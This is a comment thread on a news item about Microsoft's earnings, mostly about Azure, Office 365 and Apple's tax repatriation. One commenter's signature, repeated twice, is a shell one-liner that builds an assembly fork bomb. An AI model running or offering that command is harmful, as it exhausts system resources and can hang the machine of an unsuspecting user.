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Microsoft's Cloud Bet Continues To Pay Off In Latest Earnings (theverge.com)
In its 2018 financial results, Microsoft reported revenue of $28.9 billion and net income of $7.5 billion. "Revenue has jumped 12 percent year-over-year during the holiday quarter, and the trend of Microsoft's success with the cloud has continued," reports The Verge. "This time around, Azure revenue has increased by a massive 98 percent." From the report: Overall server and cloud services revenue grew 18 percent year-over-year, alongside the massive 98 percent jump in Azure revenue. It's clear Microsoft's future growth and revenue opportunities are with the cloud, so it's no surprise to see the company continually investing there to be competitive with Amazon. Microsoft's Office 365 subscription bet for consumers is also paying off. 29.2 million people are now using Office 365 on the consumer side, with revenue increasing 12 percent year-over-year for Office consumer and cloud. On the commercial side, Office revenue is also up at a 10 percent increase since the same period last year.
How does one pronounce "azure"? I've heard AHZ-uhr, ey-ZUHR, Escher, as-YURE and a few others...
You pronounce it like the French Riviera, The Côte d'Azur
(French pronunciation: [kot dazy]
https://en.wikipedia.org/wiki/...
Might require some wine before attempting.
Recommend eating cheese just to be safe.
its a net loss due to a one time hit due to the tax changes. basically bringing money back into the country has a tax cost. So while that makes it a net loss on paper for the quarter it isn't really relevant to the health of their business
Are you including email? An on-prem Exchange setup with decent storage allowances, redundancy and staff doesn't come cheap. Exchange in O365 has fairly generous email storage limits and doesn't require anything like as much technical expertise to run.
It may be possible to do it for less on-prem, but good Exchange admins are hard to come by and penny pinching by management often leads to systems with tiny mailboxes so that you end up having the nightmare of local PST files if you want to keep old email.
I have no doubt it can be done right on-prem, but in practice it rarely is. Certainly as a user in a corporate environment, O365 has been a breath of fresh air.
For businesses though, the main argument seems to be the O365 is operational cost, on-prem requires capital expenditure.
Sigs are so 1990s. No way would I be seen dead with one.
Apple also paid a one time $38 billion tax bill to bring overseas money back into the country. Where it will employ people and generate profits that are taxed
https://www.bloomberg.com/news...
It's almost like reducing corporate tax rates increases economic activity and future tax revenues or something.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I work for a small VAR and other than Office 365, almost nobody is interested in Microsoft cloud systems.
I wouldn't call it "interest".
Microsoft has announced that Exchange 2016 will be the final version released as software, with the only upgrade path being Exchange 365 as a service.
So while Exch 2016 is still under support, once it hits EOL you can't just buy the newest version to upgrade to, you must migrate to their cloud services.
This leaves companies with two main options.
A) Begin work on migrating away from Exchange completely, or
B) Begin work on migrating into their cloud services.
C) is to just remain on 2016 along with other security mitigation (typically another MTA between the Internet and Exchange)
Since both are major changes in infrastructure, most everyone is starting on their plan earlier than usual. This is one time you can't wait to the last minute and then just throw money at the problem for an easy fix.
The third option is always on the table but brings with it the risk of major exploits not getting patched and being vulnerable to insiders.
I've also noticed some retail stores no longer carrying Office 2016 in box form, or only sell the license key card that is good for one installation. Also that isn't for an "installation on one PC", it's literally for "one installation"
HD/SSD die and need to reinstall Windows from recovery media? You've used up your one Office installation already so time to purchase another!
While that one doesn't effect the enterprise licensed editions of Office (yet?), many home users seem to be going with Office 365 thinking it is the cheaper option and lets them retain access to Office if they repair or replace their home computer.
I think that Walmart's recent (2017) policy of refusal to conduct business with any partner who uses AWS has probably driven a lot of business in the direction of Azure. And big businesses.
Really? Wow. How do you know what Apple is going to do with the billions they brought back into the company? Maybe they will just keep it, or spend it on gold plated Ferraris. You must be on the Board to know that they are going to use it to employ people and generate taxable profits.
I think O365 is too expensive for large clients
Note that very large clients don't pay anything like the list price per customer. This has always been the case with Microsoft products, offering big discounts on site licenses for large companies.
I am TheRaven on Soylent News
You can put Linux on Azure, either choose from one of the prebuilt OS images or bring your own. Also, it is considerably cheaper to do so, as you aren't paying for Windows by the hour if you do. If you bring your own, make sure you use Microsoft's open source cloud drivers on your OS, as your performance will suck without them.
If you want to use Windows on the cloud, you can use AWS, Google, IBM, etc... the price difference between Windows and Linux on those clouds is roughly the same.
The primary reason Microsoft is the one that signs boot images is that no one else wanted to take up that task.
N.B. This friendly message brought to you by an Azure performance engineer
How does one pronounce "azure"?
Presumably it's pronounced like the color
Nobody at Microsoft cares what you decide to do, they care what businesses decide to do. I'm in the field everyday with small - medium businesses. 95% of them would be better off in the cloud, bar-none. And that includes security. People dont update (it costs money), they dont upgrade (it costs money), they rarely do more than just the extreme bare minimum to keep their networks running. And there are thousands of them, and Microsoft knows this.
That's why they push the cloud. They want their products under their control. That way they can control their own narrative. Look at Spectre and Meltdown. The cloud was patched BEFORE the announcement. How many non-cloud customers are patched even today? How many will remain unpatched 10 years from now?
Not to say there aren't data/privacy issues, but those exist on-site as well as in the cloud, and at least in the cloud they provide mitigations against it.
They paid the $38 billion so they could bring offshore money back to the US where they intend to create 20,000 jobs. They'll spend $30 billion over five years doing it
https://www.bloomberg.com/news...
Apple Inc. said it will bring hundreds of billions of overseas dollars back to the U.S., pay about $38 billion in taxes on the money and spend tens of billions on domestic jobs, manufacturing and data centers in the coming years.
The iPhone maker plans capital expenditures of $30 billion in the U.S. over five years and will create 20,000 new jobs at existing sites and a new campus it intends to open. The Cupertino, California-based company's shares rose 1.7 percent to a record closing price of $179.10.
and if you look further down the total expenditure is much larger - around $200 billion
Apple has the largest offshore cash reserves of any U.S. company, with about $252 billion at the end of September, the most recently reported fiscal quarter. The tax rate indicates that Apple is likely bringing back a majority of its overseas cash back to the U.S., leaving only a small portion for international investments like retail stores.
"They're going to have well over $200 billion by the end of this year that will be available for incremental investments, capital returns and M&A," said Matthew Kanterman, a New York-based Bloomberg Intelligence analyst. The new tax law lets U.S. companies bring overseas cash reserves back home in one year and pay the resulting tax bill over eight years. "And Apple hasn't historically done big M&A," he said.
Five-Year Spending Plan
The $30 billion in capital expenditures will come as part of $350 billion that Apple expects to spend in the U.S. over the next five years. The 20,000 new jobs include additional Apple employees at its campuses, data centers, and retail stores, but not third-party developers for iPhone and Mac apps, an economy Apple has touted in the past.
Apple said that part of the $30 billion in capital expenditures will go toward a new U.S.-based campus, new data centers and additional supplier investments. The company, which opened a new headquarters in Cupertino last year, said its new U.S. site initially will be focused on employees who provide technical support to Apple product users. The new location, which Apple said it will announce later this year, will be similar to the company's existing campus in Austin, Texas, for supply-chain and technical-support employees.
Can This Tax Proposal Lure Companies and Cash Home?: QuickTake
Apple said it will increase its local manufacturing fund, announced last year, from $1 billion to $5 billion, indicating that it will be sourcing more components for its products domestically. As part of the original fund, Apple invested in Corning Inc. and Finisar Corp., companies that make components for iPhone glass screens and lasers for Face ID and AirPods, respectively.
Now as I have often pointed out Apple is not a charity but a fairly ruthless profit making entity that would slaughter its users and sell their organs if it could do so without causing expensive class action lawsuits that would make such a course of action unprofitable. It is therefore reasonable to think the Apple board expect to make substantially more than the $38 billion it lost in taxes by moving money on shore.
If Apple wanted to leave the money dormant it could leave it offshore. They're obviously bringing the money back to the US because they think they can sweat it more there as the Bloomberg article explains.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Perhaps MS should get a new CEO who isn't cloud-crazy.
"Revenue in Intelligent Cloud was $7.8 billion and increased 15%"
"Server products and cloud services revenue increased 18% driven by Azure revenue growth of 98%"
I think you picked the wrong article for your advice to Microsoft...